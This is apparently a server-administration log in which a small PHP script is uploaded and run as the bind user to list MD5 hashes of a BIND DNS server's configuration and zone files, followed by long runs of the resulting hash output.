MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-01 12:51:44: Establishing a connection
2026-05-01 12:51:50: Establishing a connection
2026-05-01 12:51:50: 

PUT: /tmp/pkp156425

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-01 12:51:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp156425; rm /tmp/pkp156425'

2026-05-01 12:51:51: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
